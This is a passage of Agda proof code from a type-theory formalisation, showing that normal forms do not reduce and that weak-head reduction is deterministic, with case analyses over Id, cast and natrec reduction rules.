neRedTerm (Id-ℕ-00 tr) (Idℕ0ₙ ())
neRedTerm (Id-ℕ-SS x tr) (Idₙ ())
neRedTerm (Id-ℕ-SS x tr) (Idℕₙ ())
neRedTerm (Id-U-ΠΠ A B A' B') (Idₙ ())
neRedTerm (Id-U-ΠΠ A B A' B') (IdUₙ ())
neRedTerm (Id-U-ΠΠ A B A' B') (IdUΠₙ ())
neRedTerm (Id-U-ℕℕ x) (Idₙ ())
neRedTerm (Id-U-ℕℕ x) (IdUₙ ())
neRedTerm (Id-U-ℕℕ x) (IdUℕₙ ())
neRedTerm (Id-SProp A B) (Idₙ ())
neRedTerm (Id-ℕ-0S x) (Idₙ ())
neRedTerm (Id-ℕ-S0 x) (Idₙ ())
neRedTerm (Id-U-ℕΠ A B) (Idₙ ())
neRedTerm (Id-U-Πℕ A B) (Idₙ ())
neRedTerm (Id-U-ΠΠ!% eq A B A' B') (Idₙ ())
neRedTerm (cast-subst tr B e x) (castₙ tn) = neRedTerm tr tn
neRedTerm (cast-ℕ-subst tr e x) (castℕₙ tn) = neRedTerm tr tn
neRedTerm (cast-Π-subst A B tr e x) (castΠₙ tn) = neRedTerm tr tn
neRedTerm (cast-Π-subst A B tr e x) (castΠℕₙ) = whnfRedTerm tr ℕₙ
neRedTerm (cast-subst tr x x₁ x₂) (castℕₙ tn) = whnfRedTerm tr ℕₙ
neRedTerm (cast-subst tr x x₁ x₂) (castΠₙ tn) = whnfRedTerm tr Πₙ
neRedTerm (cast-subst tr x x₁ x₂) (castℕℕₙ tn) = whnfRedTerm tr ℕₙ
neRedTerm (cast-subst tr x x₁ x₂) (castℕΠₙ) = whnfRedTerm tr ℕₙ
neRedTerm (cast-subst tr x x₁ x₂) (castΠℕₙ) = whnfRedTerm tr Πₙ
neRedTerm (cast-ℕ-subst tr x x₁) (castℕℕₙ tn) = whnfRedTerm tr ℕₙ
neRedTerm (cast-ℕ-subst tr x x₁) (castℕΠₙ) = whnfRedTerm tr Πₙ
neRedTerm (cast-Π A B A' B' e f) (castₙ ())
neRedTerm (cast-Π A B A' B' e f) (castΠₙ ())
neRedTerm (cast-ℕ-0 x) (castₙ ())
neRedTerm (cast-ℕ-0 x) (castℕₙ ())
neRedTerm (cast-ℕ-0 x) (castℕℕₙ ())
neRedTerm (cast-ℕ-S x x₁) (castₙ ())
neRedTerm (cast-ℕ-S x x₁) (castℕₙ ())
neRedTerm (cast-ℕ-S x x₁) (castℕℕₙ ())
neRedTerm (cast-ℕ-cong x x₁) (castₙ ())
neRedTerm (cast-ℕ-cong x x₁) (castℕₙ ())
neRedTerm (cast-ℕ-cong x x₁) (castℕℕₙ t) = neRedTerm x₁ t
neRedTerm (cast-subst d x x₁ x₂) castΠΠ%!ₙ = whnfRedTerm d Πₙ
neRedTerm (cast-subst d x x₁ x₂) castΠΠ!%ₙ = whnfRedTerm d Πₙ
neRedTerm (cast-Π-subst x x₁ d x₂ x₃) castΠΠ%!ₙ = whnfRedTerm d Πₙ
neRedTerm (cast-Π-subst x x₁ d x₂ x₃) castΠΠ!%ₙ = whnfRedTerm d Πₙ
neRed (univ x) N = neRedTerm x N
whnfRedTerm (conv d x) w = whnfRedTerm d w
whnfRedTerm (app-subst d x) (ne (∘ₙ x₁)) = neRedTerm d x₁
whnfRedTerm (β-red _ _ x x₁ x₂) (ne (∘ₙ ()))
whnfRedTerm (natrec-subst x x₁ x₂ d) (ne (natrecₙ x₃)) = neRedTerm d x₃
whnfRedTerm (natrec-zero x x₁ x₂) (ne (natrecₙ ()))
whnfRedTerm (natrec-suc x x₁ x₂ x₃) (ne (natrecₙ ()))
whnfRedTerm (Id-subst d x x₁) (ne (Idₙ x₂)) = neRedTerm d x₂
whnfRedTerm (Id-subst d x x₁) (ne (Idℕₙ x₂)) = whnfRedTerm d ℕₙ
whnfRedTerm (Id-subst d x x₁) (ne (Idℕ0ₙ x₂)) = whnfRedTerm d ℕₙ
whnfRedTerm (Id-subst d x x₁) (ne (IdℕSₙ x₂)) = whnfRedTerm d ℕₙ
whnfRedTerm (Id-subst d x x₁) (ne (IdUₙ x₂)) = whnfRedTerm d Uₙ
whnfRedTerm (Id-subst d x x₁) (ne (IdUℕₙ x₂)) = whnfRedTerm d Uₙ
whnfRedTerm (Id-subst d x x₁) (ne (IdUΠₙ x₂)) = whnfRedTerm d Uₙ
whnfRedTerm (Id-ℕ-subst d x) (ne (Idℕₙ x₁)) = neRedTerm d x₁
whnfRedTerm (Id-ℕ-subst d x) (ne (Idℕ0ₙ x₁)) = whnfRedTerm d zeroₙ
whnfRedTerm (Id-ℕ-subst d x) (ne (IdℕSₙ x₁)) = whnfRedTerm d sucₙ
whnfRedTerm (Id-ℕ-0-subst d) (ne (Idℕ0ₙ x)) = neRedTerm d x
whnfRedTerm (Id-ℕ-S-subst x d) (ne (IdℕSₙ x₁)) = neRedTerm d x₁
whnfRedTerm (Id-U-subst d x) (ne (IdUₙ x₁)) = neRedTerm d x₁
whnfRedTerm (Id-U-subst d x) (ne (IdUℕₙ x₁)) = whnfRedTerm d ℕₙ
whnfRedTerm (Id-U-subst d x) (ne (IdUΠₙ x₁)) = whnfRedTerm d Πₙ
whnfRedTerm (Id-U-ℕ-subst d) (ne (IdUℕₙ x)) = neRedTerm d x
whnfRedTerm (Id-U-Π-subst x x₁ d) (ne (IdUΠₙ x₂)) = neRedTerm d x₂
whnfRedTerm (Id-Π _ _ x x₁ x₂ x₃) (ne (Idₙ ()))
whnfRedTerm (Id-ℕ-00 x) (ne (Idₙ ()))
whnfRedTerm (Id-ℕ-00 x) (ne (Idℕₙ ()))
whnfRedTerm (Id-ℕ-00 x) (ne (Idℕ0ₙ ()))
whnfRedTerm (Id-ℕ-SS x x₁) (ne (Idₙ ()))
whnfRedTerm (Id-ℕ-SS x x₁) (ne (Idℕₙ ()))
whnfRedTerm (Id-ℕ-SS x x₁) (ne (IdℕSₙ ()))
whnfRedTerm (Id-U-ΠΠ x x₁ x₂ x₃) (ne (Idₙ ()))
whnfRedTerm (Id-U-ΠΠ x x₁ x₂ x₃) (ne (IdUₙ ()))
whnfRedTerm (Id-U-ΠΠ x x₁ x₂ x₃) (ne (IdUΠₙ ()))
whnfRedTerm (Id-U-ℕℕ x) (ne (Idₙ ()))
whnfRedTerm (Id-U-ℕℕ x) (ne (IdUₙ ()))
whnfRedTerm (Id-U-ℕℕ x) (ne (IdUℕₙ ()))
whnfRedTerm (Id-SProp x x₁) (ne (Idₙ ()))
whnfRedTerm (Id-ℕ-0S x) (ne (Idₙ ()))
whnfRedTerm (Id-ℕ-S0 x) (ne (Idₙ ()))
whnfRedTerm (Id-U-ℕΠ A B) (ne (Idₙ ()))
whnfRedTerm (Id-U-Πℕ A B) (ne (Idₙ ()))
whnfRedTerm (Id-U-ΠΠ!% eq A B A' B') (ne (Idₙ ()))
whnfRedTerm (cast-subst d x x₁ x₂) (ne (castₙ x₃)) = neRedTerm d x₃
whnfRedTerm (cast-subst d x x₁ x₂) (ne (castℕₙ x₃)) = whnfRedTerm d ℕₙ
whnfRedTerm (cast-subst d x x₁ x₂) (ne (castΠₙ x₃)) = whnfRedTerm d Πₙ
whnfRedTerm (cast-subst d x x₁ x₂) (ne (castℕℕₙ x₃)) = whnfRedTerm d ℕₙ
whnfRedTerm (cast-subst d x x₁ x₂) (ne castℕΠₙ) = whnfRedTerm d ℕₙ
whnfRedTerm (cast-subst d x x₁ x₂) (ne castΠℕₙ) = whnfRedTerm d Πₙ
whnfRedTerm (cast-ℕ-subst d x x₁) (ne (castℕₙ x₂)) = neRedTerm d x₂
whnfRedTerm (cast-ℕ-subst d x x₁) (ne (castℕℕₙ x₂)) = whnfRedTerm d ℕₙ
whnfRedTerm (cast-ℕ-subst d x x₁) (ne castℕΠₙ) = whnfRedTerm d Πₙ
whnfRedTerm (cast-Π-subst x x₁ d x₂ x₃) (ne (castΠₙ x₄)) = neRedTerm d x₄
whnfRedTerm (cast-Π-subst x x₁ d x₂ x₃) (ne castΠℕₙ) = whnfRedTerm d ℕₙ
whnfRedTerm (cast-Π x x₁ x₂ x₃ x₄ x₅) (ne (castₙ ()))
whnfRedTerm (cast-Π x x₁ x₂ x₃ x₄ x₅) (ne (castΠₙ ()))
whnfRedTerm (cast-ℕ-0 x) (ne (castₙ ()))
whnfRedTerm (cast-ℕ-0 x) (ne (castℕₙ ()))
whnfRedTerm (cast-ℕ-0 x) (ne (castℕℕₙ ()))
whnfRedTerm (cast-ℕ-S x x₁) (ne (castₙ ()))
whnfRedTerm (cast-ℕ-S x x₁) (ne (castℕₙ ()))
whnfRedTerm (cast-ℕ-S x x₁) (ne (castℕℕₙ ()))
whnfRedTerm (cast-ℕ-cong x x₁) (ne (castₙ ()))
whnfRedTerm (cast-ℕ-cong x x₁) (ne (castℕₙ ()))
whnfRedTerm (cast-ℕ-cong x x₁) (ne (castℕℕₙ t)) = neRedTerm x₁ t
whnfRedTerm (cast-subst d x x₁ x₂) (ne castΠΠ%!ₙ) = whnfRedTerm d Πₙ
whnfRedTerm (cast-subst d x x₁ x₂) (ne castΠΠ!%ₙ) = whnfRedTerm d Πₙ
whnfRedTerm (cast-Π-subst x x₁ d x₂ x₃) (ne castΠΠ%!ₙ) = whnfRedTerm d Πₙ
whnfRedTerm (cast-Π-subst x x₁ d x₂ x₃) (ne castΠΠ!%ₙ) = whnfRedTerm d Πₙ
whnfRed (univ x) w = whnfRedTerm x w
whnfRed*Term : ∀ {Γ t u A l} (d : Γ ⊢ t ⇒* u ∷ A ^ l) (w : Whnf t) → t PE.≡ u
whnfRed*Term (id x) Uₙ = PE.refl
whnfRed*Term (id x) Πₙ = PE.refl
whnfRed*Term (id x) ∃ₙ = PE.refl
whnfRed*Term (id x) ℕₙ = PE.refl
whnfRed*Term (id x) Emptyₙ = PE.refl
whnfRed*Term (id x) lamₙ = PE.refl
whnfRed*Term (id x) zeroₙ = PE.refl
whnfRed*Term (id x) sucₙ = PE.refl
whnfRed*Term (id x) (ne x₁) = PE.refl
whnfRed*Term (conv x x₁ ⇨ d) w = ⊥-elim (whnfRedTerm x w)
whnfRed*Term (x ⇨ d) (ne x₁) = ⊥-elim (neRedTerm x x₁)
whnfRed* : ∀ {Γ A B r} (d : Γ ⊢ A ⇒* B ^ r) (w : Whnf A) → A PE.≡ B
whnfRed* (id x) w = PE.refl
whnfRed* (x ⇨ d) w = ⊥-elim (whnfRed x w)
-- Whr is deterministic
-- somehow the cases (cast-Π, cast-Π) and (Id-U-ΠΠ, Id-U-ΠΠ) fail if
-- we do not introduce a dummy relevance rA'. This is why we need the two
-- auxiliary functions.
whrDetTerm-aux1 : ∀{Γ t u F lF A A' rA lA lB rA' l B B' e f}
→ (d : t PE.≡ cast l (Π A ^ rA ° lA ▹ B ° lB ° l) (Π A' ^ rA' ° lA ▹ B' ° lB ° l) e f)
→ (d′ : Γ ⊢ t ⇒ u ∷ F ^ lF)
→ (lam A' ▹ (let a = cast l (wk1 A') (wk1 A) (Idsym (Univ rA l) (wk1 A) (wk1 A') (fst (wk1 e))) (var 0) in cast l (B [ a ]↑) B' ((snd (wk1 e)) ∘ (var 0) ^ ¹) ((wk1 f) ∘ a ^ l)) ^ l) PE.≡ u
whrDetTerm-aux1 d (conv d' x) = whrDetTerm-aux1 d d'
whrDetTerm-aux1 PE.refl (cast-subst d' x x₁ x₂) = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm-aux1 PE.refl (cast-Π-subst x x₁ d' x₂ x₃) = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm-aux1 PE.refl (cast-Π x x₁ x₂ x₃ x₄ x₅) = PE.refl
whrDetTerm-aux2 : ∀{Γ t u F lF A rA B A' rA' B'}
→ (rA≡rA' : rA PE.≡ rA')
→ (d : t PE.≡ Id (U ⁰) (Π A ^ rA ° ⁰ ▹ B ° ⁰ ° ⁰) (Π A' ^ rA' ° ⁰ ▹ B' ° ⁰ ° ⁰))
→ (d' : Γ ⊢ t ⇒ u ∷ F ^ lF)
→ (∃ (Id (Univ rA ⁰) A A') ▹ (Π (wk1 A') ^ rA ° ⁰ ▹ Id (U ⁰) ((wk (lift (step id)) B) [ cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0) ]↑) (wk (lift (step id)) B') ° ¹ ° ¹ ) ) PE.≡ u
whrDetTerm-aux2 eq d (conv d' x) = whrDetTerm-aux2 eq d d'
whrDetTerm-aux2 _ PE.refl (Id-subst d' x x₁) = ⊥-elim (whnfRedTerm d' Uₙ)
whrDetTerm-aux2 _ PE.refl (Id-U-subst d' x) = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm-aux2 _ PE.refl (Id-U-Π-subst x x₁ d') = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm-aux2 _ PE.refl (Id-U-ΠΠ x x₁ x₂ x₃) = PE.refl
whrDetTerm-aux2 PE.refl PE.refl (Id-U-ΠΠ!% eq A B A' B') = ⊥-elim (eq PE.refl)
whrDetTerm : ∀{Γ t u A l u′ A′ l′} (d : Γ ⊢ t ⇒ u ∷ A ^ l) (d′ : Γ ⊢ t ⇒ u′ ∷ A′ ^ l′) → u PE.≡ u′
whrDet : ∀{Γ A B B′ r r'} (d : Γ ⊢ A ⇒ B ^ r) (d′ : Γ ⊢ A ⇒ B′ ^ r') → B PE.≡ B′
whrDetTerm (conv d x) d′ = whrDetTerm d d′
whrDetTerm (app-subst d x) (app-subst d′ x₁) rewrite whrDetTerm d d′ = PE.refl
whrDetTerm (app-subst d x) (β-red _ _ x₁ x₂ x₃) = ⊥-elim (whnfRedTerm d lamₙ)
whrDetTerm (β-red _ _ x x₁ x₂) (app-subst d' x₃) = ⊥-elim (whnfRedTerm d' lamₙ)
whrDetTerm (β-red _ _ x x₁ x₂) (β-red _ _ x₃ x₄ x₅) = PE.refl
whrDetTerm (natrec-subst x x₁ x₂ d) (natrec-subst x₃ x₄ x₅ d') rewrite whrDetTerm d d' = PE.refl
whrDetTerm (natrec-subst x x₁ x₂ d) (natrec-zero x₃ x₄ x₅) = ⊥-elim (whnfRedTerm d zeroₙ)
whrDetTerm (natrec-subst x x₁ x₂ d) (natrec-suc x₃ x₄ x₅ x₆) = ⊥-elim (whnfRedTerm d sucₙ)
whrDetTerm (natrec-zero x x₁ x₂) (natrec-subst x₃ x₄ x₅ d') = ⊥-elim (whnfRedTerm d' zeroₙ)
whrDetTerm (natrec-zero x x₁ x₂) (natrec-zero x₃ x₄ x₅) = PE.refl
whrDetTerm (natrec-suc x x₁ x₂ x₃) (natrec-subst x₄ x₅ x₆ d') = ⊥-elim (whnfRedTerm d' sucₙ)
whrDetTerm (natrec-suc x x₁ x₂ x₃) (natrec-suc x₄ x₅ x₆ x₇) = PE.refl
whrDetTerm (Id-subst d x x₁) (Id-subst d' x₂ x₃) rewrite whrDetTerm d d' = PE.refl
whrDetTerm (Id-subst d x x₁) (Id-ℕ-subst d' x₂) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-subst d x x₁) (Id-ℕ-0-subst d') = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-subst d x x₁) (Id-ℕ-S-subst x₂ d') = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-subst d x x₁) (Id-U-subst d' x₂) = ⊥-elim (whnfRedTerm d Uₙ)
whrDetTerm (Id-subst d x x₁) (Id-U-ℕ-subst d') = ⊥-elim (whnfRedTerm d Uₙ)
whrDetTerm (Id-subst d x x₁) (Id-U-Π-subst x₂ x₃ d') = ⊥-elim (whnfRedTerm d Uₙ)
whrDetTerm (Id-subst d x x₁) (Id-Π _ _ x₂ x₃ x₄ x₅) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (Id-subst d x x₁) (Id-ℕ-00 x₂) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-subst d x x₁) (Id-ℕ-SS x₂ x₃) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-subst d x x₁) (Id-U-ΠΠ x₂ x₃ x₄ x₅) = ⊥-elim (whnfRedTerm d Uₙ)
whrDetTerm (Id-subst d x x₁) (Id-U-ℕℕ x₂) = ⊥-elim (whnfRedTerm d Uₙ)
whrDetTerm (Id-subst d x x₁) (Id-SProp x₂ x₃) = ⊥-elim (whnfRedTerm d Uₙ)
whrDetTerm (Id-subst d x x₁) (Id-ℕ-0S x₂) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-subst d x x₁) (Id-ℕ-S0 x₂) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-subst d x x₁) (Id-U-ℕΠ x₂ x₃) = ⊥-elim (whnfRedTerm d Uₙ)
whrDetTerm (Id-subst d x x₁) (Id-U-Πℕ x₂ x₃) = ⊥-elim (whnfRedTerm d Uₙ)
whrDetTerm (Id-subst d x x₁) (Id-U-ΠΠ!% x₂ x₃ x₄ x₅ x₆) = ⊥-elim (whnfRedTerm d Uₙ)
whrDetTerm (Id-ℕ-subst d x) (Id-subst d' x₁ x₂) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-ℕ-subst d x) (Id-ℕ-subst d' x₁) rewrite whrDetTerm d d' = PE.refl
whrDetTerm (Id-ℕ-subst d x) (Id-ℕ-0-subst d') = ⊥-elim (whnfRedTerm d zeroₙ)
whrDetTerm (Id-ℕ-subst d x) (Id-ℕ-S-subst x₁ d') = ⊥-elim (whnfRedTerm d sucₙ)
whrDetTerm (Id-ℕ-subst d x) (Id-ℕ-00 x₁) = ⊥-elim (whnfRedTerm d zeroₙ)
whrDetTerm (Id-ℕ-subst d x) (Id-ℕ-SS x₁ x₂) = ⊥-elim (whnfRedTerm d sucₙ)
whrDetTerm (Id-ℕ-subst d x) (Id-ℕ-0S x₁) = ⊥-elim (whnfRedTerm d zeroₙ)
whrDetTerm (Id-ℕ-subst d x) (Id-ℕ-S0 x₁) = ⊥-elim (whnfRedTerm d sucₙ)
whrDetTerm (Id-ℕ-0-subst d) (Id-subst d' x x₁) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-ℕ-0-subst d) (Id-ℕ-subst d' x) = ⊥-elim (whnfRedTerm d' zeroₙ)
whrDetTerm (Id-ℕ-0-subst d) (Id-ℕ-0-subst d') rewrite whrDetTerm d d' = PE.refl
whrDetTerm (Id-ℕ-0-subst d) (Id-ℕ-00 x) = ⊥-elim (whnfRedTerm d zeroₙ)
whrDetTerm (Id-ℕ-0-subst d) (Id-ℕ-0S x) = ⊥-elim (whnfRedTerm d sucₙ)
whrDetTerm (Id-ℕ-S-subst x d) (Id-subst d' x₁ x₂) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-ℕ-S-subst x d) (Id-ℕ-subst d' x₁) = ⊥-elim (whnfRedTerm d' sucₙ)
whrDetTerm (Id-ℕ-S-subst x d) (Id-ℕ-S-subst x₁ d') rewrite whrDetTerm d d' = PE.refl
whrDetTerm (Id-ℕ-S-subst x d) (Id-ℕ-SS x₁ x₂) = ⊥-elim (whnfRedTerm d sucₙ)
whrDetTerm (Id-ℕ-S-subst x d) (Id-ℕ-S0 x₁) = ⊥-elim (whnfRedTerm d zeroₙ)
whrDetTerm (Id-U-subst d x) (Id-subst d' x₁ x₂) = ⊥-elim (whnfRedTerm d' Uₙ)
whrDetTerm (Id-U-subst d x) (Id-U-subst d' x₁) rewrite whrDetTerm d d' = PE.refl
whrDetTerm (Id-U-subst d x) (Id-U-ℕ-subst d') = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-U-subst d x) (Id-U-Π-subst x₁ x₂ d') = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (Id-U-subst d x) (Id-U-ΠΠ x₁ x₂ x₃ x₄) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (Id-U-subst d x) (Id-U-ℕℕ x₁) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-U-subst d x) (Id-U-ℕΠ x₁ x₂) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-U-subst d x) (Id-U-Πℕ x₁ x₂) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (Id-U-subst d x) (Id-U-ΠΠ!% x₁ x₂ x₃ x₄ x₅) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (Id-U-ℕ-subst d) (Id-subst d' x x₁) = ⊥-elim (whnfRedTerm d' Uₙ)
whrDetTerm (Id-U-ℕ-subst d) (Id-U-subst d' x) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-U-ℕ-subst d) (Id-U-ℕ-subst d') rewrite whrDetTerm d d' = PE.refl
whrDetTerm (Id-U-ℕ-subst d) (Id-U-ℕℕ x) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-U-ℕ-subst d) (Id-U-ℕΠ x x₁) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (Id-U-Π-subst x x₁ d) (Id-subst d' x₂ x₃) = ⊥-elim (whnfRedTerm d' Uₙ)
whrDetTerm (Id-U-Π-subst x x₁ d) (Id-U-subst d' x₂) = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm (Id-U-Π-subst x x₁ d) (Id-U-Π-subst x₂ x₃ d') rewrite whrDetTerm d d' = PE.refl
whrDetTerm (Id-U-Π-subst x x₁ d) (Id-U-ΠΠ x₂ x₃ x₄ x₅) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (Id-U-Π-subst x x₁ d) (Id-U-Πℕ x₂ x₃) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (Id-U-Π-subst x x₁ d) (Id-U-ΠΠ!% x₂ x₃ x₄ x₅ x₆) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (Id-Π _ _ x x₁ x₂ x₃) (Id-subst d' x₄ x₅) = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm (Id-Π _ _ x x₁ x₂ x₃) (Id-Π _ _ x₄ x₅ x₆ x₇) = PE.refl
whrDetTerm (Id-ℕ-00 x) (Id-subst d' x₁ x₂) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-ℕ-00 x) (Id-ℕ-subst d' x₁) = ⊥-elim (whnfRedTerm d' zeroₙ)
whrDetTerm (Id-ℕ-00 x) (Id-ℕ-0-subst d') = ⊥-elim (whnfRedTerm d' zeroₙ)
whrDetTerm (Id-ℕ-00 x) (Id-ℕ-00 x₁) = PE.refl
whrDetTerm (Id-ℕ-SS x x₁) (Id-subst d' x₂ x₃) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-ℕ-SS x x₁) (Id-ℕ-subst d' x₂) = ⊥-elim (whnfRedTerm d' sucₙ)
whrDetTerm (Id-ℕ-SS x x₁) (Id-ℕ-S-subst x₂ d') = ⊥-elim (whnfRedTerm d' sucₙ)
whrDetTerm (Id-ℕ-SS x x₁) (Id-ℕ-SS x₂ x₃) = PE.refl
whrDetTerm (Id-U-ΠΠ x x₁ x₂ x₃) d' = whrDetTerm-aux2 PE.refl PE.refl d'
whrDetTerm (Id-U-ℕℕ x) (Id-subst d' x₁ x₂) = ⊥-elim (whnfRedTerm d' Uₙ)
whrDetTerm (Id-U-ℕℕ x) (Id-U-subst d' x₁) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-U-ℕℕ x) (Id-U-ℕ-subst d') = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-U-ℕℕ x) (Id-U-ℕℕ x₁) = PE.refl
whrDetTerm (Id-SProp x x₁) (Id-subst d' x₂ x₃) = ⊥-elim (whnfRedTerm d' Uₙ)
whrDetTerm (Id-SProp x x₁) (Id-SProp x₂ x₃) = PE.refl
whrDetTerm (Id-ℕ-0S x) (Id-subst d' x₁ x₂) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-ℕ-0S x) (Id-ℕ-subst d' x₁) = ⊥-elim (whnfRedTerm d' zeroₙ)
whrDetTerm (Id-ℕ-0S x) (Id-ℕ-0-subst d') = ⊥-elim (whnfRedTerm d' sucₙ)
whrDetTerm (Id-ℕ-0S x) (Id-ℕ-0S x₁) = PE.refl
whrDetTerm (Id-ℕ-S0 x) (Id-subst d' x₁ x₂) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-ℕ-S0 x) (Id-ℕ-subst d' x₁) = ⊥-elim (whnfRedTerm d' sucₙ)
whrDetTerm (Id-ℕ-S0 x) (Id-ℕ-S-subst x₁ d') = ⊥-elim (whnfRedTerm d' zeroₙ)
whrDetTerm (Id-ℕ-S0 x) (Id-ℕ-S0 x₁) = PE.refl
whrDetTerm (Id-U-ℕΠ x x₁) (Id-subst d' x₂ x₃) = ⊥-elim (whnfRedTerm d' Uₙ)
whrDetTerm (Id-U-ℕΠ x x₁) (Id-U-subst d' x₂) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-U-ℕΠ x x₁) (Id-U-ℕ-subst d') = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm (Id-U-ℕΠ x x₁) (Id-U-ℕΠ x₂ x₃) = PE.refl
whrDetTerm (Id-U-Πℕ x x₁) (Id-subst d' x₂ x₃) = ⊥-elim (whnfRedTerm d' Uₙ)
whrDetTerm (Id-U-Πℕ x x₁) (Id-U-subst d' x₂) = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm (Id-U-Πℕ x x₁) (Id-U-Π-subst x₂ x₃ d') = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (Id-U-Πℕ x x₁) (Id-U-Πℕ x₂ x₃) = PE.refl
whrDetTerm (Id-U-ΠΠ!% eq A B A' B') (Id-subst d' x x₁) = ⊥-elim (whnfRedTerm d' Uₙ)
whrDetTerm (Id-U-ΠΠ!% eq A B A' B') (Id-U-subst d' x) = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm (Id-U-ΠΠ!% eq A B A' B') (Id-U-Π-subst x x₁ d') = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm (Id-U-ΠΠ!% eq A B A' B') (Id-U-ΠΠ x x₁ x₂ x₃) = ⊥-elim (eq PE.refl)
whrDetTerm (Id-U-ΠΠ!% eq A B A' B') (Id-U-ΠΠ!% x x₁ x₂ x₃ x₄) = PE.refl
whrDetTerm (cast-subst d x x₁ x₂) (cast-subst d' x₃ x₄ x₅) rewrite whrDetTerm d d' = PE.refl
whrDetTerm (cast-subst d x x₁ x₂) (cast-ℕ-subst d' x₃ x₄) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (cast-subst d x x₁ x₂) (cast-Π-subst x₃ x₄ d' x₅ x₆) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (cast-subst d x x₁ x₂) (cast-Π x₃ x₄ x₅ x₆ x₇ x₈) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (cast-subst d x x₁ x₂) (cast-ℕ-0 x₃) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (cast-subst d x x₁ x₂) (cast-ℕ-S x₃ x₄) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (cast-ℕ-subst d x x₁) (cast-subst d' x₂ x₃ x₄) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (cast-ℕ-subst d x x₁) (cast-ℕ-subst d' x₂ x₃) rewrite whrDetTerm d d' = PE.refl
whrDetTerm (cast-ℕ-subst d x x₁) (cast-ℕ-0 x₂) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (cast-ℕ-subst d x x₁) (cast-ℕ-S x₂ x₃) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (cast-Π-subst x x₁ d x₂ x₃) (cast-subst d' x₄ x₅ x₆) = ⊥-elim (whnfRedTerm d' Πₙ)
whrDetTerm (cast-Π-subst x x₁ d x₂ x₃) (cast-Π-subst x₄ x₅ d' x₆ x₇) rewrite whrDetTerm d d' = PE.refl
whrDetTerm (cast-Π-subst x x₁ d x₂ x₃) (cast-Π x₄ x₅ x₆ x₇ x₈ x₉) = ⊥-elim (whnfRedTerm d Πₙ)
whrDetTerm (cast-Π x x₁ x₂ x₃ x₄ x₅) d' = whrDetTerm-aux1 (PE.refl) d'
whrDetTerm (cast-ℕ-0 x) (cast-subst d' x₁ x₂ x₃) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (cast-ℕ-0 x) (cast-ℕ-subst d' x₁ x₂) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (cast-ℕ-0 x) (cast-ℕ-0 x₁) = PE.refl
whrDetTerm (cast-ℕ-S x x₁) (cast-subst d' x₂ x₃ x₄) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (cast-ℕ-S x x₁) (cast-ℕ-subst d' x₂ x₃) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (cast-ℕ-S x x₁) (cast-ℕ-S x₂ x₃) = PE.refl
whrDetTerm (cast-ℕ-cong x x₁) (cast-subst d' x₂ x₃ x₄) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (cast-ℕ-cong x x₁) (cast-ℕ-subst d' x₂ x₃) = ⊥-elim (whnfRedTerm d' ℕₙ)
whrDetTerm (cast-ℕ-cong x x₁) (cast-ℕ-cong x₂ x₃) rewrite whrDetTerm x₁ x₃ = PE.refl --
